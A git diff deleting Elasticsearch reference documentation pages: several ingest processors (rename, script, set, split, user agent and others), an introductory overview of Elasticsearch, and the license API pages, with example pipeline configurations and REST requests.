deleted file mode 100644
index 538cfb048a8..00000000000
--- a/docs/reference/ingest/processors/rename.asciidoc
+++ /dev/null
@@ -1,29 +0,0 @@
-[[rename-processor]]
-=== Rename processor
-++++
-<titleabbrev>Rename</titleabbrev>
-++++
-
-Renames an existing field. If the field doesn't exist or the new name is already used, an exception will be thrown.
-
-[[rename-options]]
-.Rename Options
-[options="header"]
-|======
-| Name              | Required  | Default  | Description
-| `field`           | yes       | -        | The field to be renamed. Supports <<accessing-template-fields,template snippets>>.
-| `target_field`    | yes       | -        | The new name of the field. Supports <<accessing-template-fields,template snippets>>.
-| `ignore_missing`  | no        | `false`  | If `true` and `field` does not exist, the processor quietly exits without modifying the document
-include::common-options.asciidoc[]
-|======
-
-[source,js]
---------------------------------------------------
-{
-  "rename": {
-    "field": "provider",
-    "target_field": "cloud.provider"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
diff --git a/docs/reference/ingest/processors/script.asciidoc b/docs/reference/ingest/processors/script.asciidoc
deleted file mode 100644
index 3453a966133..00000000000
--- a/docs/reference/ingest/processors/script.asciidoc
+++ /dev/null
@@ -1,104 +0,0 @@
-[[script-processor]]
-=== Script processor
-++++
-<titleabbrev>Script</titleabbrev>
-++++
-
-Allows inline and stored scripts to be executed within ingest pipelines.
-
-See <<modules-scripting-using, How to use scripts>> to learn more about writing scripts. The Script Processor
-leverages caching of compiled scripts for improved performance. Since the
-script specified within the processor is potentially re-compiled per document, it is important
-to understand how script caching works. To learn more about
-caching see <<modules-scripting-using-caching, Script Caching>>.
-
-[[script-options]]
-.Script Options
-[options="header"]
-|======
-| Name                   | Required  | Default    | Description
-| `lang`                 | no        | "painless" | The scripting language
-| `id`                   | no        | -          | The stored script id to refer to
-| `source`               | no        | -          | An inline script to be executed
-| `params`               | no        | -          | Script Parameters
-include::common-options.asciidoc[]
-|======
-
-One of `id` or `source` options must be provided in order to properly reference a script to execute.
-
-You can access the current ingest document from within the script context by using the `ctx` variable.
-
-The following example sets a new field called `field_a_plus_b_times_c` to be the sum of two existing
-numeric fields `field_a` and `field_b` multiplied by the parameter param_c:
-
-[source,js]
---------------------------------------------------
-{
-  "script": {
-    "lang": "painless",
-    "source": "ctx.field_a_plus_b_times_c = (ctx.field_a + ctx.field_b) * params.param_c",
-    "params": {
-      "param_c": 10
-    }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-It is possible to use the Script Processor to manipulate document metadata like `_index` and `_type` during
-ingestion. Here is an example of an Ingest Pipeline that renames the index and type to `my-index` no matter what
-was provided in the original index request:
-
-[source,console]
---------------------------------------------------
-PUT _ingest/pipeline/my-index
-{
-  "description": "use index:my-index",
-  "processors": [
-    {
-      "script": {
-        "source": """
-          ctx._index = 'my-index';
-          ctx._type = '_doc';
-        """
-      }
-    }
-  ]
-}
---------------------------------------------------
-
-Using the above pipeline, we can attempt to index a document into the `any-index` index.
-
-[source,console]
---------------------------------------------------
-PUT any-index/_doc/1?pipeline=my-index
-{
-  "message": "text"
-}
---------------------------------------------------
-// TEST[continued]
-
-The response from the above index request:
-
-[source,console-result]
---------------------------------------------------
-{
-  "_index": "my-index",
-  "_type": "_doc",
-  "_id": "1",
-  "_version": 1,
-  "result": "created",
-  "_shards": {
-    "total": 2,
-    "successful": 1,
-    "failed": 0
-  },
-  "_seq_no": 89,
-  "_primary_term": 1,
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_seq_no": \d+/"_seq_no" : $body._seq_no/ s/"_primary_term" : 1/"_primary_term" : $body._primary_term/]
-
-In the above response, you can see that our document was actually indexed into `my-index` instead of
-`any-index`. This type of manipulation is often convenient in pipelines that have various branches of transformation,
-and depending on the progress made, indexed into different indices.
diff --git a/docs/reference/ingest/processors/set-security-user.asciidoc b/docs/reference/ingest/processors/set-security-user.asciidoc
deleted file mode 100644
index cd348e2d9bc..00000000000
--- a/docs/reference/ingest/processors/set-security-user.asciidoc
+++ /dev/null
@@ -1,45 +0,0 @@
-[[ingest-node-set-security-user-processor]]
-=== Set security user processor
-++++
-<titleabbrev>Set security user</titleabbrev>
-++++
-
-Sets user-related details (such as `username`,  `roles`, `email`, `full_name`,
-`metadata`, `api_key`, `realm` and `authentication_type`) from the current
-authenticated user to the current document by pre-processing the ingest.
-The `api_key` property exists only if the user authenticates with an
-API key. It is an object containing the `id` and `name` fields of the API key.
-The `realm` property is also an object with two fields, `name` and `type`.
-When using API key authentication, the `realm` property refers to the realm
-from which the API key is created.
-The `authentication_type` property is a string that can take value from
-`REALM`, `API_KEY`, `TOKEN` and `ANONYMOUS`.
-
-IMPORTANT: Requires an authenticated user for the index request.
-
-[[set-security-user-options]]
-.Set Security User Options
-[options="header"]
-|======
-| Name          | Required  | Default                                                                                              | Description
-| `field`       | yes       | -                                                                                                    | The field to store the user information into.
-| `properties`  | no        | [`username`, `roles`, `email`, `full_name`, `metadata`, `api_key`, `realm`, `authentication_type`]   | Controls what user related properties are added to the `field`.
-include::common-options.asciidoc[]
-|======
-
-The following example adds all user details for the current authenticated user
-to the `user` field for all documents that are processed by this pipeline:
-
-[source,js]
---------------------------------------------------
-{
-  "processors" : [
-    {
-      "set_security_user": {
-        "field": "user"
-      }
-    }
-  ]
-}
---------------------------------------------------
-// NOTCONSOLE
diff --git a/docs/reference/ingest/processors/set.asciidoc b/docs/reference/ingest/processors/set.asciidoc
deleted file mode 100644
index e445bfaf229..00000000000
--- a/docs/reference/ingest/processors/set.asciidoc
+++ /dev/null
@@ -1,90 +0,0 @@
-[[set-processor]]
-=== Set processor
-++++
-<titleabbrev>Set</titleabbrev>
-++++
-
-Sets one field and associates it with the specified value. If the field already exists,
-its value will be replaced with the provided one.
-
-[[set-options]]
-.Set Options
-[options="header"]
-|======
-| Name       | Required  | Default  | Description
-| `field` | yes       | -        | The field to insert, upsert, or update. Supports <<accessing-template-fields,template snippets>>.
-| `value` | yes       | -        | The value to be set for the field. Supports <<accessing-template-fields,template snippets>>.
-| `override` | no        | true     | If processor will update fields with pre-existing non-null-valued field. When set to `false`, such fields will not be touched.
-| `ignore_empty_value` | no        | `false`  | If `true` and `value` is a <<accessing-template-fields,template snippet>> that evaluates to `null` or the empty string, the processor quietly exits without modifying the document
-include::common-options.asciidoc[]
-|======
-
-[source,js]
---------------------------------------------------
-{
-  "description" : "sets the value of count to 1"
-  "set": {
-    "field": "count",
-    "value": 1
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-This processor can also be used to copy data from one field to another. For example:
-
-[source,console]
---------------------------------------------------
-PUT _ingest/pipeline/set_os
-{
-  "description": "sets the value of host.os.name from the field os",
-  "processors": [
-    {
-      "set": {
-        "field": "host.os.name",
-        "value": "{{os}}"
-      }
-    }
-  ]
-}
-
-POST _ingest/pipeline/set_os/_simulate
-{
-  "docs": [
-    {
-      "_source": {
-        "os": "Ubuntu"
-      }
-    }
-  ]
-}
---------------------------------------------------
-
-Result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "docs" : [
-    {
-      "doc" : {
-        "_index" : "_index",
-        "_type" : "_doc",
-        "_id" : "_id",
-        "_source" : {
-          "host" : {
-            "os" : {
-              "name" : "Ubuntu"
-            }
-          },
-          "os" : "Ubuntu"
-        },
-        "_ingest" : {
-          "timestamp" : "2019-03-11T21:54:37.909224Z"
-        }
-      }
-    }
-  ]
-}
---------------------------------------------------
-// TESTRESPONSE[s/2019-03-11T21:54:37.909224Z/$body.docs.0.doc._ingest.timestamp/]
diff --git a/docs/reference/ingest/processors/sort.asciidoc b/docs/reference/ingest/processors/sort.asciidoc
deleted file mode 100644
index 81999d2d903..00000000000
--- a/docs/reference/ingest/processors/sort.asciidoc
+++ /dev/null
@@ -1,31 +0,0 @@
-[[sort-processor]]
-=== Sort processor
-++++
-<titleabbrev>Sort</titleabbrev>
-++++
-
-Sorts the elements of an array ascending or descending.  Homogeneous arrays of numbers will be sorted
-numerically, while arrays of strings or heterogeneous arrays of strings + numbers will be sorted lexicographically.
-Throws an error when the field is not an array.
-
-[[sort-options]]
-.Sort Options
-[options="header"]
-|======
-| Name              | Required  | Default  | Description
-| `field`           | yes       | -        | The field to be sorted
-| `order`           | no        | `"asc"`  | The sort order to use. Accepts `"asc"` or `"desc"`.
-| `target_field`    | no        | `field`  | The field to assign the sorted value to, by default `field` is updated in-place
-include::common-options.asciidoc[]
-|======
-
-[source,js]
---------------------------------------------------
-{
-  "sort": {
-    "field": "array_field_to_sort",
-    "order": "desc"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
diff --git a/docs/reference/ingest/processors/split.asciidoc b/docs/reference/ingest/processors/split.asciidoc
deleted file mode 100644
index 39e73b589f7..00000000000
--- a/docs/reference/ingest/processors/split.asciidoc
+++ /dev/null
@@ -1,49 +0,0 @@
-[[split-processor]]
-=== Split processor
-++++
-<titleabbrev>Split</titleabbrev>
-++++
-
-Splits a field into an array using a separator character. Only works on string fields.
-
-[[split-options]]
-.Split Options
-[options="header"]
-|======
-| Name              | Required  | Default  | Description
-| `field`           | yes       | -        | The field to split
-| `separator`       | yes       | -        | A regex which matches the separator, eg `,` or `\s+`
-| `target_field`    | no        | `field`  | The field to assign the split value to, by default `field` is updated in-place
-| `ignore_missing`  | no        | `false`  | If `true` and `field` does not exist, the processor quietly exits without modifying the document
-| `preserve_trailing`| no       | `false`  | Preserves empty trailing fields, if any.
-include::common-options.asciidoc[]
-|======
-
-[source,js]
---------------------------------------------------
-{
-  "split": {
-    "field": "my_field",
-    "separator": "\\s+" <1>
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-<1> Treat all consecutive whitespace characters as a single separator
-
-If the `preserve_trailing` option is enabled, any trailing empty fields in the input will be preserved. For example,
-in the configuration below, a value of `A,,B,,` in the `my_field` property will be split into an array of five elements
-`["A", "", "B", "", ""]` with two empty trailing fields. If the `preserve_trailing` property were not enabled, the two
-empty trailing fields would be discarded resulting in the three-element array `["A", "", "B"]`.
-
-[source,js]
---------------------------------------------------
-{
-  "split": {
-    "field": "my_field",
-    "separator": ",",
-    "preserve_trailing": true
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
diff --git a/docs/reference/ingest/processors/trim.asciidoc b/docs/reference/ingest/processors/trim.asciidoc
deleted file mode 100644
index 5b7c80ea803..00000000000
--- a/docs/reference/ingest/processors/trim.asciidoc
+++ /dev/null
@@ -1,30 +0,0 @@
-[[trim-processor]]
-=== Trim processor
-++++
-<titleabbrev>Trim</titleabbrev>
-++++
-
-Trims whitespace from field. If the field is an array of strings, all members of the array will be trimmed.
-
-NOTE: This only works on leading and trailing whitespace.
-
-[[trim-options]]
-.Trim Options
-[options="header"]
-|======
-| Name              | Required  | Default  | Description
-| `field`           | yes       | -        | The string-valued field to trim whitespace from
-| `target_field`    | no        | `field`  | The field to assign the trimmed value to, by default `field` is updated in-place
-| `ignore_missing`  | no        | `false`  | If `true` and `field` does not exist, the processor quietly exits without modifying the document
-include::common-options.asciidoc[]
-|======
-
-[source,js]
---------------------------------------------------
-{
-  "trim": {
-    "field": "foo"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
diff --git a/docs/reference/ingest/processors/uppercase.asciidoc b/docs/reference/ingest/processors/uppercase.asciidoc
deleted file mode 100644
index 6d334373d9c..00000000000
--- a/docs/reference/ingest/processors/uppercase.asciidoc
+++ /dev/null
@@ -1,28 +0,0 @@
-[[uppercase-processor]]
-=== Uppercase processor
-++++
-<titleabbrev>Uppercase</titleabbrev>
-++++
-
-Converts a string to its uppercase equivalent. If the field is an array of strings, all members of the array will be converted.
-
-[[uppercase-options]]
-.Uppercase Options
-[options="header"]
-|======
-| Name             | Required  | Default  | Description
-| `field`          | yes       | -        | The field to make uppercase
-| `target_field`   | no        | `field`  | The field to assign the converted value to, by default `field` is updated in-place
-| `ignore_missing` | no        | `false`  | If `true` and `field` does not exist or is `null`, the processor quietly exits without modifying the document
-include::common-options.asciidoc[]
-|======
-
-[source,js]
---------------------------------------------------
-{
-  "uppercase": {
-    "field": "foo"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
diff --git a/docs/reference/ingest/processors/url-decode.asciidoc b/docs/reference/ingest/processors/url-decode.asciidoc
deleted file mode 100644
index 5810fff90b0..00000000000
--- a/docs/reference/ingest/processors/url-decode.asciidoc
+++ /dev/null
@@ -1,28 +0,0 @@
-[[urldecode-processor]]
-=== URL decode processor
-++++
-<titleabbrev>URL decode</titleabbrev>
-++++
-
-URL-decodes a string. If the field is an array of strings, all members of the array will be decoded.
-
-[[urldecode-options]]
-.URL Decode Options
-[options="header"]
-|======
-| Name             | Required  | Default  | Description
-| `field`          | yes       | -        | The field to decode
-| `target_field`   | no        | `field`  | The field to assign the converted value to, by default `field` is updated in-place
-| `ignore_missing` | no        | `false`  | If `true` and `field` does not exist or is `null`, the processor quietly exits without modifying the document
-include::common-options.asciidoc[]
-|======
-
-[source,js]
---------------------------------------------------
-{
-  "urldecode": {
-    "field": "my_url_to_decode"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
diff --git a/docs/reference/ingest/processors/user-agent.asciidoc b/docs/reference/ingest/processors/user-agent.asciidoc
deleted file mode 100644
index 073a02fef38..00000000000
--- a/docs/reference/ingest/processors/user-agent.asciidoc
+++ /dev/null
@@ -1,101 +0,0 @@
-[[user-agent-processor]]
-=== User agent processor
-++++
-<titleabbrev>User agent</titleabbrev>
-++++
-
-The `user_agent` processor extracts details from the user agent string a browser sends with its web requests.
-This processor adds this information by default under the `user_agent` field.
-
-The ingest-user-agent module ships by default with the regexes.yaml made available by uap-java with an Apache 2.0 license. For more details see https://github.com/ua-parser/uap-core.
-
-[[using-ingest-user-agent]]
-==== Using the user_agent Processor in a Pipeline
-
-[[ingest-user-agent-options]]
-.User-agent options
-[options="header"]
-|======
-| Name                   | Required  | Default                                                                                         | Description
-| `field`                | yes       | -                                                                                               | The field containing the user agent string.
-| `target_field`         | no        | user_agent                                                                                      | The field that will be filled with the user agent details.
-| `regex_file`           | no        | -                                                                                               | The name of the file in the `config/ingest-user-agent` directory containing the regular expressions for parsing the user agent string. Both the directory and the file have to be created before starting Elasticsearch. If not specified, ingest-user-agent will use the regexes.yaml from uap-core it ships with (see below).
-| `properties`           | no        | [`name`, `major`, `minor`, `patch`, `build`, `os`, `os_name`, `os_major`, `os_minor`, `device`] | Controls what properties are added to `target_field`.
-| `ignore_missing`       | no        | `false`                                                                                         | If `true` and `field` does not exist, the processor quietly exits without modifying the document
-| `ecs`                  | no        | `true`                                                                                         | Whether to return the output in Elastic Common Schema format. NOTE: This setting is deprecated and will be removed in a future version.
-|======
-
-Here is an example that adds the user agent details to the `user_agent` field based on the `agent` field:
-
-[source,console]
---------------------------------------------------
-PUT _ingest/pipeline/user_agent
-{
-  "description" : "Add user agent information",
-  "processors" : [
-    {
-      "user_agent" : {
-        "field" : "agent"
-      }
-    }
-  ]
-}
-PUT my-index-000001/_doc/my_id?pipeline=user_agent
-{
-  "agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
-}
-GET my-index-000001/_doc/my_id
---------------------------------------------------
-
-Which returns
-
-[source,console-result]
---------------------------------------------------
-{
-  "found": true,
-  "_index": "my-index-000001",
-  "_type": "_doc",
-  "_id": "my_id",
-  "_version": 1,
-  "_seq_no": 22,
-  "_primary_term": 1,
-  "_source": {
-    "agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36",
-    "user_agent": {
-      "name": "Chrome",
-      "original": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36",
-      "version": "51.0.2704.103",
-      "os": {
-        "name": "Mac OS X",
-        "version": "10.10.5",
-        "full": "Mac OS X 10.10.5"
-      },
-      "device" : {
-        "name" : "Mac"
-      },
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_seq_no": \d+/"_seq_no" : $body._seq_no/ s/"_primary_term": 1/"_primary_term" : $body._primary_term/]
-
-===== Using a custom regex file
-To use a custom regex file for parsing the user agents, that file has to be put into the `config/ingest-user-agent` directory and
-has to have a `.yml` filename extension. The file has to be present at node startup, any changes to it or any new files added
-while the node is running will not have any effect.
-
-In practice, it will make most sense for any custom regex file to be a variant of the default file, either a more recent version
-or a customised version.
-
-The default file included in `ingest-user-agent` is the `regexes.yaml` from uap-core: https://github.com/ua-parser/uap-core/blob/master/regexes.yaml
-
-[[ingest-user-agent-settings]]
-===== Node Settings
-
-The `user_agent` processor supports the following setting:
-
-`ingest.user_agent.cache_size`::
-
-    The maximum number of results that should be cached. Defaults to `1000`.
-
-Note that these settings are node settings and apply to all `user_agent` processors, i.e. there is one cache for all defined `user_agent` processors.
diff --git a/docs/reference/intro.asciidoc b/docs/reference/intro.asciidoc
deleted file mode 100644
index 00f3cb9c695..00000000000
--- a/docs/reference/intro.asciidoc
+++ /dev/null
@@ -1,266 +0,0 @@
-[[elasticsearch-intro]]
-== What is {es}?
-_**You know, for search (and analysis)**_
-
-{es} is the distributed search and analytics engine at the heart of
-the {stack}. {ls} and {beats} facilitate collecting, aggregating, and
-enriching your data and storing it in {es}. {kib} enables you to
-interactively explore, visualize, and share insights into your data and manage
-and monitor the stack. {es} is where the indexing, search, and analysis
-magic happens.
-
-{es} provides near real-time search and analytics for all types of data. Whether you
-have structured or unstructured text, numerical data, or geospatial data,
-{es} can efficiently store and index it in a way that supports fast searches.
-You can go far beyond simple data retrieval and aggregate information to discover
-trends and patterns in your data. And as your data and query volume grows, the
-distributed nature of {es} enables your deployment to grow seamlessly right
-along with it.
-
-While not _every_ problem is a search problem, {es} offers speed and flexibility
-to handle data in a wide variety of use cases:
-
-* Add a search box to an app or website
-* Store and analyze logs, metrics, and security event data
-* Use machine learning to automatically model the behavior of your data in real
-  time
-* Automate business workflows using {es} as a storage engine
-* Manage, integrate, and analyze spatial information using {es} as a geographic
-  information system (GIS)
-* Store and process genetic data using {es} as a bioinformatics research tool
-
-We’re continually amazed by the novel ways people use search. But whether
-your use case is similar to one of these, or you're using {es} to tackle a new
-problem, the way you work with your data, documents, and indices in {es} is
-the same.
-
-[[documents-indices]]
-=== Data in: documents and indices
-
-{es} is a distributed document store. Instead of storing information as rows of
-columnar data, {es} stores complex data structures that have been serialized
-as JSON documents. When you have multiple {es} nodes in a cluster, stored
-documents are distributed across the cluster and can be accessed immediately
-from any node.
-
-When a document is stored, it is indexed and fully searchable in <<near-real-time,near real-time>>--within 1 second. {es} uses a data structure called an
-inverted index that supports very fast full-text searches. An inverted index
-lists every unique word that appears in any document and identifies all of the
-documents each word occurs in.
-
-An index can be thought of as an optimized collection of documents and each
-document is a collection of fields, which are the key-value pairs that contain
-your data. By default, {es} indexes all data in every field and each indexed
-field has a dedicated, optimized data structure. For example, text fields are
-stored in inverted indices, and numeric and geo fields are stored in BKD trees.
-The ability to use the per-field data structures to assemble and return search
-results is what makes {es} so fast.
-
-{es} also has the ability to be schema-less, which means that documents can be
-indexed without explicitly specifying how to handle each of the different fields
-that might occur in a document. When dynamic mapping is enabled, {es}
-automatically detects and adds new fields to the index. This default
-behavior makes it easy to index and explore your data--just start
-indexing documents and {es} will detect and map booleans, floating point and
-integer values, dates, and strings to the appropriate {es} data types.
-
-Ultimately, however, you know more about your data and how you want to use it
-than {es} can. You can define rules to control dynamic mapping and explicitly
-define mappings to take full control of how fields are stored and indexed.
-
-Defining your own mappings enables you to:
-
-* Distinguish between full-text string fields and exact value string fields
-* Perform language-specific text analysis
-* Optimize fields for partial matching
-* Use custom date formats
-* Use data types such as `geo_point` and `geo_shape` that cannot be automatically
-detected
-
-It’s often useful to index the same field in different ways for different
-purposes. For example, you might want to index a string field as both a text
-field for full-text search and as a keyword field for sorting or aggregating
-your data. Or, you might choose to use more than one language analyzer to
-process the contents of a string field that contains user input.
-
-The analysis chain that is applied to a full-text field during indexing is also
-used at search time. When you query a full-text field, the query text undergoes
-the same analysis before the terms are looked up in the index.
-
-[[search-analyze]]
-=== Information out: search and analyze
-
-While you can use {es} as a document store and retrieve documents and their
-metadata, the real power comes from being able to easily access the full suite
-of search capabilities built on the Apache Lucene search engine library.
-
-{es} provides a simple, coherent REST API for managing your cluster and indexing
-and searching your data.  For testing purposes, you can easily submit requests
-directly from the command line or through the Developer Console in {kib}. From
-your applications, you can use the
-https://www.elastic.co/guide/en/elasticsearch/client/index.html[{es} client]
-for your language of choice: Java, JavaScript, Go, .NET, PHP, Perl, Python
-or Ruby.
-
-[discrete]
-[[search-data]]
-==== Searching your data
-
-The {es} REST APIs support structured queries, full text queries, and complex
-queries that combine the two. Structured queries are
-similar to the types of queries you can construct in SQL. For example, you
-could search the `gender` and `age` fields in your `employee` index and sort the
-matches by the `hire_date` field. Full-text queries find all documents that
-match the query string and return them sorted by _relevance_&mdash;how good a
-match they are for your search terms.
-
-In addition to searching for individual terms, you can perform phrase searches,
-similarity searches, and prefix searches, and get autocomplete suggestions.
-
-Have geospatial or other numerical data that you want to search? {es} indexes
-non-textual data in optimized data structures that support
-high-performance geo and numerical queries.
-
-You can access all of these search capabilities using {es}'s
-comprehensive JSON-style query language (<<query-dsl, Query DSL>>). You can also
-construct <<sql-overview, SQL-style queries>> to search and aggregate data
-natively inside {es}, and JDBC and ODBC drivers enable a broad range of
-third-party applications to interact with {es} via SQL.
-
-[discrete]
-[[analyze-data]]
-==== Analyzing your data
-
-{es} aggregations enable you to build complex summaries of your data and gain
-insight into key metrics, patterns, and trends. Instead of just finding the
-proverbial “needle in a haystack”, aggregations enable you to answer questions
-like:
-
-* How many needles are in the haystack?
-* What is the average length of the needles?
-* What is the median length of the needles, broken down by manufacturer?
-* How many needles were added to the haystack in each of the last six months?
-
-You can also use aggregations to answer more subtle questions, such as:
-
-* What are your most popular needle manufacturers?
-* Are there any unusual or anomalous clumps of needles?
-
-Because aggregations leverage the same data-structures used for search, they are
-also very fast. This enables you to analyze and visualize your data in real time.
-Your reports and dashboards update as your data changes so you can take action
-based on the latest information.
-
-What’s more, aggregations operate alongside search requests. You can search
-documents, filter results, and perform analytics at the same time, on the same
-data, in a single request. And because aggregations are calculated in the
-context of a particular search, you’re not just displaying a count of all
-size 70 needles, you’re displaying a count of the size 70 needles
-that match your users' search criteria--for example, all size 70 _non-stick
-embroidery_ needles.
-
-[discrete]
-[[more-features]]
-===== But wait, there’s more
-
-Want to automate the analysis of your time series data? You can use
-{ml-docs}/ml-overview.html[machine learning] features to create accurate
-baselines of normal behavior in your data and identify anomalous patterns. With
-machine learning, you can detect:
-
-* Anomalies related to temporal deviations in values, counts, or frequencies
-* Statistical rarity
-* Unusual behaviors for a member of a population
-
-And the best part? You can do this without having to specify algorithms, models,
-or other data science-related configurations.
-
-[[scalability]]
-=== Scalability and resilience: clusters, nodes, and shards
-++++
-<titleabbrev>Scalability and resilience</titleabbrev>
-++++
-
-{es} is built to be always available and to scale with your needs. It does this
-by being distributed by nature. You can add servers (nodes) to a cluster to
-increase capacity and {es} automatically distributes your data and query load
-across all of the available nodes. No need to overhaul your application, {es}
-knows how to balance multi-node clusters to provide scale and high availability.
-The more nodes, the merrier.
-
-How does this work? Under the covers, an {es} index is really just a logical
-grouping of one or more physical shards, where each shard is actually a
-self-contained index. By distributing the documents in an index across multiple
-shards, and distributing those shards across multiple nodes, {es} can ensure
-redundancy, which both protects against hardware failures and increases
-query capacity as nodes are added to a cluster. As the cluster grows (or shrinks),
-{es} automatically migrates shards to rebalance the cluster.
-
-There are two types of shards: primaries and replicas. Each document in an index
-belongs to one primary shard. A replica shard is a copy of a primary shard.
-Replicas provide redundant copies of your data to protect against hardware
-failure and increase capacity to serve read requests
-like searching or retrieving a document.
-
-The number of primary shards in an index is fixed at the time that an index is
-created, but the number of replica shards can be changed at any time, without
-interrupting indexing or query operations.
-
-[discrete]
-[[it-depends]]
-==== It depends...
-
-There are a number of performance considerations and trade offs with respect
-to shard size and the number of primary shards configured for an index. The more
-shards, the more overhead there is simply in maintaining those indices. The
-larger the shard size, the longer it takes to move shards around when {es}
-needs to rebalance a cluster.
-
-Querying lots of small shards makes the processing per shard faster, but more
-queries means more overhead, so querying a smaller
-number of larger shards might be faster. In short...it depends.
-
-As a starting point:
-
-* Aim to keep the average shard size between a few GB and a few tens of GB. For
-  use cases with time-based data, it is common to see shards in the 20GB to 40GB
-  range.
-
-* Avoid the gazillion shards problem. The number of shards a node can hold is
-  proportional to the available heap space. As a general rule, the number of
-  shards per GB of heap space should be less than 20.
-
-The best way to determine the optimal configuration for your use case is
-through https://www.elastic.co/elasticon/conf/2016/sf/quantitative-cluster-sizing[
-testing with your own data and queries].
-
-[discrete]
-[[disaster-ccr]]
-==== In case of disaster
-
-For performance reasons, the nodes within a cluster need to be on the same
-network. Balancing shards in a cluster across nodes in different data centers
-simply takes too long. But high-availability architectures demand that you avoid
-putting all of your eggs in one basket. In the event of a major outage in one
-location, servers in another location need to be able to take over. Seamlessly.
-The answer? {ccr-cap} (CCR).
-
-CCR provides a way to automatically synchronize indices from your primary cluster
-to a secondary remote cluster that can serve as a hot backup. If the primary
-cluster fails, the secondary cluster can take over. You can also use CCR to
-create secondary clusters to serve read requests in geo-proximity to your users.
-
-{ccr-cap} is active-passive. The index on the primary cluster is
-the active leader index and handles all write requests. Indices replicated to
-secondary clusters are read-only followers.
-
-[discrete]
-[[admin]]
-==== Care and feeding
-
-As with any enterprise system, you need tools to secure, manage, and
-monitor your {es} clusters. Security, monitoring, and administrative features
-that are integrated into {es} enable you to use {kibana-ref}/introduction.html[{kib}]
-as a control center for managing a cluster. Features like <<xpack-rollup,
-data rollups>> and <<index-lifecycle-management, index lifecycle management>>
-help you intelligently manage your data over time.
diff --git a/docs/reference/licensing/delete-license.asciidoc b/docs/reference/licensing/delete-license.asciidoc
deleted file mode 100644
index 04c095110cc..00000000000
--- a/docs/reference/licensing/delete-license.asciidoc
+++ /dev/null
@@ -1,48 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[delete-license]]
-=== Delete license API
-++++
-<titleabbrev>Delete license</titleabbrev>
-++++
-
-This API enables you to delete licensing information.
-
-[discrete]
-==== Request
-
-`DELETE /_license`
-
-[discrete]
-==== Description
-
-When your license expires, {xpack} operates in a degraded mode.  For more
-information, see
-{kibana-ref}/managing-licenses.html#license-expiration[License expiration].
-
-[discrete]
-==== Authorization
-
-You must have `manage` cluster privileges to use this API.
-For more information, see
-<<security-privileges>>.
-
-[discrete]
-==== Examples
-
-The following example queries the info API:
-
-[source,console]
-------------------------------------------------------------
-DELETE /_license
-------------------------------------------------------------
-// TEST[skip:license testing issues]
-
-When the license is successfully deleted, the API returns the following response:
-[source,js]
-------------------------------------------------------------
-{
-  "acknowledged": true
-}
-------------------------------------------------------------
-// NOTCONSOLE
\ No newline at end of file
diff --git a/docs/reference/licensing/get-basic-status.asciidoc b/docs/reference/licensing/get-basic-status.asciidoc
deleted file mode 100644
index ea5e3466845..00000000000
--- a/docs/reference/licensing/get-basic-status.asciidoc
+++ /dev/null
@@ -1,48 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[get-basic-status]]
-=== Get basic status API
-++++
-<titleabbrev>Get basic status</titleabbrev>
-++++
-
-This API enables you to check the status of your basic license.
-
-[discrete]
-==== Request
-
-`GET /_license/basic_status`
-
-[discrete]
-==== Description
-
-In order to initiate a basic license, you must not currently have a basic
-license.
-
-For more information about the different types of licenses, see
-https://www.elastic.co/subscriptions.
-
-==== Authorization
-
-You must have `monitor` cluster privileges to use this API.
-For more information, see <<security-privileges>>.
-
-[discrete]
-==== Examples
-
-The following example checks whether you are eligible to start a basic:
-
-[source,console]
-------------------------------------------------------------
-GET /_license/basic_status
-------------------------------------------------------------
-
-Example response:
-
-[source,console-result]
-------------------------------------------------------------
-{
-  "eligible_to_start_basic": true
-}
-------------------------------------------------------------
-// TESTRESPONSE[s/"eligible_to_start_basic": true/"eligible_to_start_basic": $body.eligible_to_start_basic/]
diff --git a/docs/reference/licensing/get-license.asciidoc b/docs/reference/licensing/get-license.asciidoc
deleted file mode 100644
index 527d6ef54ca..00000000000
--- a/docs/reference/licensing/get-license.asciidoc
+++ /dev/null
@@ -1,77 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[get-license]]
-=== Get license API
-++++
-<titleabbrev>Get license</titleabbrev>
-++++
-
-This API enables you to retrieve licensing information.
-
-[discrete]
-==== Request
-
-`GET /_license`
-
-[discrete]
-==== Description
-
-This API returns information about the type of license, when it was issued, and
-when it expires, for example.
-
-For more information about the different types of licenses, see
-https://www.elastic.co/subscriptions.
-
-
-[discrete]
-==== Query Parameters
-
-`local`::
-  (Boolean) Specifies whether to retrieve local information. The default value
-  is `false`, which means the information is retrieved from the master node.
-
-
-[discrete]
-==== Authorization
-
-You must have `monitor` cluster privileges to use this API.
-For more information, see <<security-privileges>>.
-
-
-[discrete]
-==== Examples
-
-The following example provides information about a trial license:
-
-[source,console]
---------------------------------------------------
-GET /_license
---------------------------------------------------
-
-[source,console-result]
---------------------------------------------------
-{
-  "license" : {
-    "status" : "active",
-    "uid" : "cbff45e7-c553-41f7-ae4f-9205eabd80xx",
-    "type" : "trial",
-    "issue_date" : "2018-10-20T22:05:12.332Z",
-    "issue_date_in_millis" : 1540073112332,
-    "expiry_date" : "2018-11-19T22:05:12.332Z",
-    "expiry_date_in_millis" : 1542665112332,
-    "max_nodes" : 1000,
-    "issued_to" : "test",
-    "issuer" : "elasticsearch",
-    "start_date_in_millis" : -1
-  }
-}
---------------------------------------------------
